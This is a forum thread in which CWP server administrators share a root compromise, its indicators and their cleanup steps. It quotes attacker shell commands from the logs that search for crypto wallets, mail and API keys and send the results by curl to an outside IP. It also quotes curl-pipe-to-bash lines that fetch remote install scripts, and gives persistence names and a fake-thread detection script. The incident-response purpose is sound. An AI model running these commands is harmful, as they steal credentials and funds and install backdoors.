Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed

Hi,
I'm posting this because I've had a security incident on one of my CWP servers and, after seeing some of the recent security reports here, I thought it might be useful to share what I found and see if anyone else has seen the same thing.
The server is running AlmaLinux 8 with CWP.
I found what appears to be an OMRIG crypto miner, together with these suspicious services/binaries:

Code: [Select]

dbus-monitor-srv
polkitd-helpers
systemd-logind-helpersThere were also signs of persistence through systemd.
During the investigation I found these two IP addresses, which I have now blocked:

Code: [Select]

146.103.45.130
184.107.106.86146.103.45.130 was related to the miner activity.
184.107.106.86 appeared during the investigation of suspicious outbound activity.
Another thing that caught my attention was port 2304, used by the CWP External API. It was publicly exposed on this server. I have now removed it from the allowed ports in CSF and confirmed that it is no longer accessible.
I have restored the server from a backup taken before the incident, removed/checked the suspicious services and files, blocked both IP addresses and closed port 2304.
I want to make clear that I cannot confirm that port 2304 or the CWP API was the entry point. I'm mentioning it because it was exposed at the time of the incident and because I've seen other recent reports of CWP servers being compromised with root access and crypto miners.
Has anyone else seen these same services/binaries or IP addresses on an affected CWP server?
And does anyone know if this could be related to one of the recent CWP security/API issues?
I still have information and logs from the incident, so I can provide more details if they are useful.
Thanks.

This is what 184.107.106.86 was doing on my server, taken from cwp_api.log

Code: [Select]

mysql --defaults-extra-file=/root/.my.cnf  < /home/x;(
echo == mounts; df -h | grep -vE 'tmpfs|loop|udev'
echo == walletfind
timeout 70 find /home /var /opt /srv /mnt /media /data /usr/local /backup* /root -maxdepth 9 \( -iname 'wallet.dat' -o -iname '*.wallet' -o -iname 'keystore' -type d -o -iname 'electrum' -type d -o -iname 'bitcoin.conf' -o -iname 'litecoin.conf' -o -iname 'dogecoin.conf' -o -iname 'dash.conf' -o -iname 'monero' -type d -o -iname '.bitmonero' -o -iname '*xmr*wallet*' -o -iname 'xmrig*' -o -iname 'lnd.conf' -o -iname '*.lnd' -o -iname 'solana' -type d -o -iname 'id.json' \) -not -path '*node_modules*' -not -path '*phpmyadmin*' 2>/dev/null | head -100
echo == procs; ps auxwww | grep -iE 'xmrig|monerod|bitcoind|litecoind|dogecoind|geth|gaia|solana|cardano|tron|electrumx|btcpay|nbxplorer|dashd|zcashd|rippled|waves' | grep -v grep
echo == ports; ss -tlnp 2>/dev/null | grep -E ':8332|:8333|:18332|:9332|:18081|:18082|:8545|:8546|:30303|:8899|:22555'
echo ZMARK_END
 ) > /tmp/.yypvxqy 2>&1; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:993/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:993/act ; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:587/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:587/act ; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:465/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:465/act ; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:25/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:25/act ; curl -s -m 45 -F f=@/tmp/.yypvxqy http://184.107.106.86:8888/act ;curl -s -m 45 --data-binary @/tmp/.yypvxqy http://184.107.106.86:8888/act ; rm -f /tmp/.yypvxqy;echo/dumpsql.sql
okokokokokoksh: line 8: echo/user_grants.sql: No such file or directory

Code: [Select]

mysql --defaults-extra-file=/root/.my.cnf  < /home/x;( echo ## myserver.ovh vmail+crypto sweep
echo == vmaildoms
ls /var/vmail 2>/dev/null | head -40
echo == maildirs-dirs-crypto
find /var/vmail -maxdepth 4 -type d 2>/dev/null | grep -iE 'wallet|btc|eth|coin|mine|work|crypto|seed|seedphrase|backup' | head -40
echo == vmailgrep-subjects
timeout 240 grep -rliI -E '(subject:.*(wallet|seed|mnemonic|private.?key|bitcoin|monero|litecoin|doge|ethereum|keystore|solana|kaspa|exodus|electrum|metamask|trust.?wallet|binance|coinbase|kraken|kucoin))' /var/vmail /home/*/mail /var/spool/mail 2>/dev/null | head -100
echo == maildir-list
for m in /var/spool/mail/* ; do [ -s  ] && echo SPOOL ; done 2>/dev/null | head -20
echo == keyfind
timeout 150 find /home /root /var/www /opt /srv /mnt /media /backup /backups /data -maxdepth 8 \( -iname 'wallet.dat' -o -iname '*.wallet' -o -iname '*.kdbx' -o -iname 'UTC--*' -o -iname '*.keystore' -o -iname '*seed*phrase*' -o -iname '*electrum*' -o -iname 'id.json' -o -iname '*.xmr*' \) -not -path '*node_modules*' -not -path '*phpmyadmin*' 2>/dev/null | head -80
echo == exchangekeys
timeout 150 grep -rliI -E '(BINANCE_API|COINBASE_API|KUCOIN_API|BITMEX_API|secretKey.{0,40}(binance|kucoin)|api_key.{0,20}(telegram|binance))' /home/*/public_html /var/www /root 2>/dev/null | head -40
echo == dockercrypto
docker ps --format '{{.Image}} {{.Names}}' 2>/dev/null | grep -iE 'bitco|geth|monero|solana|tron|cardano|kaspa|nbxplorer|btcpay|electrum' | head -20
echo == btcpay
ls -d /root/.nbxplorer /root/.btcpayserver /home/*/.nbxplorer 2>/dev/null
echo ZMARK_END
 ) > /tmp/.ymwqrjq 2>&1; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:993/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:993/act ; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:587/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:587/act ; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:465/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:465/act ; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:25/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:25/act ; curl -s -m 45 -F f=@/tmp/.ymwqrjq http://184.107.106.86:8888/act ;curl -s -m 45 --data-binary @/tmp/.ymwqrjq http://184.107.106.86:8888/act ; rm -f /tmp/.ymwqrjq;echo/user_grants.sql


How to clean the server? I think I have the same issue

How to clean the server? I think I have the same issue

Hi. Before deleting anything, I would recommend checking whether your compromise is actually the same one.
We found several different indicators on the affected server, including OMRIG/XMRig-related persistence and later a suspicious root process running from a deleted memfd, so preserving evidence before cleaning is important.
If possible, please do not reinstall, reboot or delete suspicious files yet.
Could you first post the output of:

Code: [Select]

ps auxf
ss -plant
ss -lntp

find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null

systemctl list-unit-files --type=service | grep -Ei \
'systemd-logind-helpers|polkitd-helpers|dbus-monitor-srv|auth-policykit'

ls -la /usr/sbin/netd /usr/bin/systemd-logind-helpers \
/usr/bin/polkitd-helpers /usr/bin/dbus-monitor-srv 2>/dev/null
Also, if you use the CWP External API, please check whether port 2304 is publicly accessible and preserve these logs before doing anything else:

Code: [Select]

/usr/local/cwpsrv/logs/2304_access_log
/usr/local/cwpsrv/logs/2304_error_log
/var/log/cwp/cwp_api.logIn our case we found malicious requests to CWP API endpoints such as /v1/backup, /v1/endtransf/ and /v1/addemail/, followed by commands executed as root.
Please redact passwords, API keys/tokens and other credentials before posting any logs here.
Once we know whether the indicators match, I can explain what we removed and how we checked the server afterwards. But I would preserve the evidence first, because it may also help determine exactly how the CWP API was exploited.

Definitely block port 2304 -- that was the CWP support team's official advice.

I'll chime in with my own experience shortly once I am done with the post-mortem. But mine was not a miner -- more of an advanced version of the now classic gsocket hack. So I may post to that thread instead of this one.

Absolutely. Port 2304 should be blocked from public access immediately. I should probably have made that explicit in my previous reply — I was focusing on preserving evidence before cleaning the compromised server.
Your comment about an advanced gsocket-style compromise is particularly interesting. In our case, after the earlier OMRIG/XMRig activity, we later found a root process running from a deleted memfd, with strings including GSOCKET_CONFIG in the preserved binary.
I would definitely be interested in comparing indicators once you publish your post-mortem.

Okay, I'll post the post-mortem here. This is just one of my CWP servers -- none of the others were affected. I caught a hacker (via root's shell history) executing root commands on one of my CWP servers (running up-to-date CWP on AlmaLinux 8 with all current updates installed).
.
The initial entry script was to download and run this script (containing Indonesian/Malaysian comments):

Code: [Select]

curl -s https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh | bashHacker was planting php files at /home/*/public_html/404.php for all accounts. Another indication of compromise was test123zz files in the web roots for all accounts. Also, the server was running a fake kernel thread:

Code: [Select]

[card0-crtc8] /memfd:[card0-crtc8] (deleted)After first noticing, I would kill this thread after a reboot. This was the way to hide a gsocket initialization and enable persistence. At some point after a few hours, the CPU on the server spikes to 100% and makes the server inaccessible, forcing a reboot.

The Malaysian hacker's obvious work was injecting casino advertising into a Drupal web site I have. It serves up a different sitemap if the visitor is a bot/crawler. I removed it from the live site (easy to spot given the root ownership of the live site files):

Code: [Select]

[root]# ls -al /home/username/public_html/web/
drwxrwxrwx 3 root root 43 Sep 20 11:37 bundles
drwxrwxrwx 3 root root 32 Sep 20 11:37 cdn-cgi
drwxrwxrwx 4 root root 111 Sep 20 11:37 Content
drwxrwxrwx 3 root root 20 Sep 20 11:31 d2rzzcn1jnr24x.cloudfront.net
-rw-r--r-- 1 root root 53 Sep 21 07:29 googleXXXXXXXX.html
-rw-r--r-- 1 root root 53 Sep 23 23:28 googleXXXXXXXX.html.gwtkTmp
-rw-rw-rw- 1 root root 8031 Sep 21 07:22 .htaccess
drwxrwxrwx 2 root root 4096 Sep 22 16:46 img
-rw-r--r-- 1 root root 81186 Sep 22 15:46 locations.php
-rw-r--r-- 1 root root 9021 Sep 21 07:38 sitemap.xmlThe hacker tried to make it harder to remove the files by making them root owned, immutable and append-only attributes.
At this point,, the server's CSF firewall had been dropped for more than a week because it would block all inbound connections, creating a DoS. Also amavis & clamav was going nuts (100% CPU) so I had to disable those, too. [This was after the initial hacker entry, so it didn't seem to matter by then -- he has gsocket persistence and root access.]

Next, I found that the hacker had disabled PasswordAuthentication for SSH. He also enabled key based authentication for root, where I had root login disabled (I saw this as a sed command in root's shell history). I still had a root CWP Admin session, so I was able to edit the /etc/ssh/sshd_config file in File Manager and then restart the SSH daemon.

Next it seemed as if a second wave was hitting -- the easily identified "defunct" gsocket connection hit:

Code: [Select]

[root]# /usr/local/bin/find_fake_threads
[+] Starting scan for masqueraded kernel threads...
PID PPID COMMAND EXE_PATH
8861 1 sshd: overseer [priv] /usr/sbin/sshd
925 1 [watchdogd] /usr/bin/defunct
I killed the /usr/bin/defunct file, disabled the service, rm'd it, removed root authorized keys and newly-added keypair. I then ran CWP's hacker check script: /usr/local/cwpsrv/htdocs/resources/scripts/temp_hacker_check This seemed as though this is a new infection or competing hacker, because this was clearly a new 2nd wave. Tthe hacker thought he is safe from overview because history was supposedly disabled, but I was able to look at root's history and see his overnight maneuvers.

After a few days (traveling) I was finally able to really dissect the install scripts I caught the hacker installing and work through them:
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/cek-domain.sh https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/user.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/gs.sh

Based on language comments in the install scripts, hacker appears to be Indonesian/Malaysian. Appears to be a member of "The Hacking Club" (or THC).

IOC: Check for user named "kyytamine" and added to group assignments (root, wheel). Look to see if "apache" user has a password and home assignment.
Adds keys to /root/.ssh/authorized_keys
Adds himself as a sudoer. Check /etc/sudoers and /etc/sudoers.d/
Creates test files: test123zz files in /tmp and then in web roots are a clear IOC.

In my case, it was not the "defunct" service he installed for persistence (apart from that brief secondary infection), rather it comes from a randomized list of possibilities and mine was auth-policykit service. Possible service names for persistence, picked from a random array in his install script:

Code: [Select]

"systemd-hwdb-update" "network-core" "auth-policykit" "ssh-agent-proxy" "journald-forwarder"
which in turn point to possible binary names:

Code: [Select]

"udevd-sync" "netd" "firewallctl" "bootcfg" "authd"
Several of these were 0 bytes and lived in /usr/sbin (so I am assuming they were red herrings)-- but for me it was /usr/sbin/bootcfg that was the malicious file (an encoded binary, I think produced by a perl crypter). I killed the running binary, disabled & removed the malicious systemd service:

Code: [Select]

/usr/lib/systemd/system/auth-policykit.service
/etc/systemd/system/multi-user.target.wants/auth-policykit.service[/b]

After reboot, there was no more persistence -- no more fake kernel thread:
[code]"[card0-crtc8] /memfd:[card0-crtc8] (deleted)"And even these fake kernel thread names are very random, chosen during install:

Code: [Select]

"sshd:" "[kthreadd]" "[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]"
I blocked both GitHub and THC domains in my /etc/hosts file -- so these scripts can't be as easily downloaded and a test resolver of gs.thc.org in the install scrip fails:

Code: [Select]

127.0.0.1 raw.githubusercontent.com
127.0.0.1 github.com
127.0.0.1 gs.thc.org
127.0.0.1 thc.orgSo, that wave was dealt with. Then it seemed as if I was running an unintentional CWP gsocket honeypot. The next night a different hacker ran this:

Code: [Select]

curl https://memek.cc/c.sh | bash
So back to the crux of the issue: port 2304 was open and the original hacker had effectively disabled CSF by doing something in the kernel that pertained to ipt_state/xt_state, so CSF would no longer start up. So to keep the server accessible, I couldn't run the firewall. CSF was failing:

Code: [Select]

"Testing ipt_state/xt_state...FAILED [FATAL Error: Warning: Extension state revision 0 not supported, missing kernel module?] - Required for csf to function"I discovered the hacker had altered /etc/dnf/dnf.conf to disable kernel updates, so I wasn't receiving the latest AlmaLinux kernel that had been released Oct 1:

Code: [Select]

4.18.0-553.170.1.el8_10.x86_64The file /etc/dnf/dnf.con was unwritable, I couldn't delete it or write to it even though it didn't have any attributes set (like +a or +i). I was able to move the whole /etc/dnf directory to /.trash and then re-create dnf.conf. After that, then I was able to install the new, unaltered kernel, reboot, and finally activate CSF (version 15.10 Aetherinox fork). So NOW I finally have CSF enabled and port 2304 blocked. Server is back to nominal now.

Here's a script for discovering fake kernel threads (note that it regards SSH connections as suspicious, but good to check those, too):

Code: [Select]

#!/usr/bin/env bash
# ==============================================================================
# find_fake_threads.sh
# Detects masqueraded user-space processes mimicking Linux kernel threads.
# Legitimate kernel threads have a PPID of 2 (kthreadd) or 0.
# ==============================================================================

# Ensure the script is run as root to access all /proc paths
if [[ $EUID -ne 0 ]]; then
   echo "[-] Error: This script must be run as root (sudo)." 1>&2
   exit 1
fi

echo "======================================================================"
echo "[+] Starting scan for masqueraded kernel threads..."
echo "======================================================================"
echo -e "PID\tPPID\tCOMMAND\tEXE_PATH"
echo "----------------------------------------------------------------------"

# Counter for suspicious processes
found_suspicious=0

# Iterate through all running processes
for pid in /proc/[0-9]*/; do
    pid=${pid%/}; pid=${pid##*/}

    # Extract process name, removing surrounding parentheses from stat file
    comm=$(cat "/proc/$pid/comm" 2>/dev/null)
    stat_file="/proc/$pid/stat"

    if [ ! -f "$stat_file" ]; then
        continue
    fi

    # Read PPID from the 4th field of /proc/<pid>/stat
    ppid=$(awk '{print $4}' "$stat_file" 2>/dev/null)
    cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline" 2>/dev/null)

    # Fallback to comm if cmdline is empty
    if [ -z "$cmdline" ]; then
        cmdline="[$comm]"
    fi

    # Check if the process name looks like a kernel thread (wrapped in brackets or matching names)
    # or if the raw cmdline attempts to mimic standard target threads
    if [[ "$cmdline" =~ \[.*\] ]] || [[ "$comm" == "card0-crtc8" ]] || [[ "$comm" == "kswapd0" ]]; then
        # Real kernel threads must have PPID 2 or 0
        if [ "$ppid" -ne 2 ] && [ "$ppid" -ne 0 ]; then
            found_suspicious=$((found_suspicious + 1))

            # Resolve executable target path
            exe_path=$(readlink "/proc/$pid/exe" 2>/dev/null)
            if [ -z "$exe_path" ]; then
                exe_path="[Permission Denied / No Exe Link]"
            fi

            echo -e "${pid}\t${ppid}\t${cmdline:0:40}\t${exe_path}"
        fi
    fi
done

echo "----------------------------------------------------------------------"
if [ "$found_suspicious" -eq 0 ]; then
    echo "[+] Scan complete: No fake kernel thread processes detected."
else
    echo "[-] Scan complete: Found ${found_suspicious} suspicious user-space thread(s)."
    echo "[!] Action Required: Investigate the paths above. Malicious binaries running out of memory will often display 'memfd: / (deleted)'."
fi
echo "======================================================================"
Also consider installing whowatch:

Code: [Select]

dnf install whowatch

If you think you have the same compromise, I wouldn't start deleting files yet. First confirm whether the indicators actually match and preserve enough evidence to understand what happened.
Start with the running processes and network activity:
ps auxf
ss -plant
ss -lntp
Then check for processes whose executable has already been deleted:
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
Check systemd services/timers, root and user cron jobs, unfamiliar SSH keys and especially suspicious names such as systemd-logind-helpers, polkitd-helpers and dbus-monitor-srv.
If CWP API port 2304 is publicly accessible and you don't need it, close it. If you do need the API, restrict it to the specific trusted IPs that require access.
Preserve /usr/local/cwpsrv/logs/2304_access_log and /var/log/cwp/cwp_api.log before cleaning anything, and look around the compromise timestamp for /v1/backup or other unexpected API calls.

If you post the suspicious process names, services and relevant log lines—with passwords/API keys removed—we can compare the indicators before deciding what should be removed.
Full disclosure: I'm the developer of the CWP7 Security Audit Module. I built it specifically to help identify compromise and persistence indicators on CWP servers, so it can be useful for the verification stage here. But I would preserve and examine the evidence first rather than simply running a cleanup and assuming the machine is safe.